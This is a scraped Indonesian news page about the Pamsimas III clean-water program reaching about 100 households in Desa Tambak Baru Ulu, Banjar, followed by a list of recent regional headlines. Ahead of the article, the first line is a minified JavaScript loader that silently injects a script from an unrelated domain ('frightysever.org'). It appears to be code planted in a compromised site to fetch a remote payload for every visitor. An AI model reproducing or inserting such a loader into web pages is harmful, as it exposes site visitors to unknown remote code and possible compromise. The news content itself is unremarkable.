(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Setelah Ini Hadir, Warga Tambak Baru Ulu Tak Lagi Konsumsi Air Sungai


KANALKALIMANTAN.COM, MARTAPURA – Penantian masyarakat di Desa Tambak Baru Ulu, Kecamatan Martapura, Kabupaten Banjar untuk menikmati air bersih akhirnya terjawab. Menyusul program uji fungsi dan serah terima program Pamsimas III tahun anggaran 2019, kini masyarakat tidak lagi menggunakan air sungai untuk dikonsumsi.

“Hingga hari ini kurang lebih 100 sambungan yang terdiri dengan 400 jiwa di tahap pertama sudah disalurkan, sekarang masyarakat sudah dapat mengkonsumsi air bersih dari saluran Pamsimas ini,” ujar Kepala Desa Tambak Baru Ulu Syaipulah Rahman, Kamis (9/1/2020).

 

Dijelaskan Syaipulah sebelum adanya Pamsimas, masyarakat Desa Tambak Baru Ulu terpaksa harus menggunakan air sungai.

Pamsimas sistem plat baja, punya fungsi sama dengan yang ada di Desa Jejangkit Timur, Kecamatan Jejangkit, Kabupaten Barito Kuala. Dirancang langsung oleh Muamar, salah seorang kepala desa sekaligus pencetus inovasi yang sukses ke Sumatra hingga Papua.

Ditambahkan Syaipulah adapun sistem Pamsimas yang dialirkan kepada warga ini pembayarannya hanya dipungut biaya Rp 4.000 permeter kubik. Sementara hasil pembayaran setiap warga akan digunakan untuk pengembangan, biaya operasional dan perawatan.

“Di Desa Tambak Baru Ulu ini sebenarnya ada sebanyak 359 kepala keluarga, sisanya akan kita salurkan air bersih dari program Pamsimas secara bertahap,” akunya.

Masih ditempat yang sama Kabid Cipta Karya Dinas PUPR Banjar Irwan Jaya, pembangunan insfratuktur untuk tandon air di Desa Tambak Baru Ulu ini bisa bermanfaat dan mengubah prilaku warga yang memanfaatkan air sungai untuk konsumsi.

“Pemerintah daerah juga telah memasangkan sambungan untuk 100 rumah warga, semoga dapat menjadi pemasukan bagi desa. Retribusi yang ditarik dari penggunaan air ini dapat disesuaikan dengan kemampuan masyarakat,” jelasnya. (kanalkalimantan.com/rendy)

Reporter : rendy
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.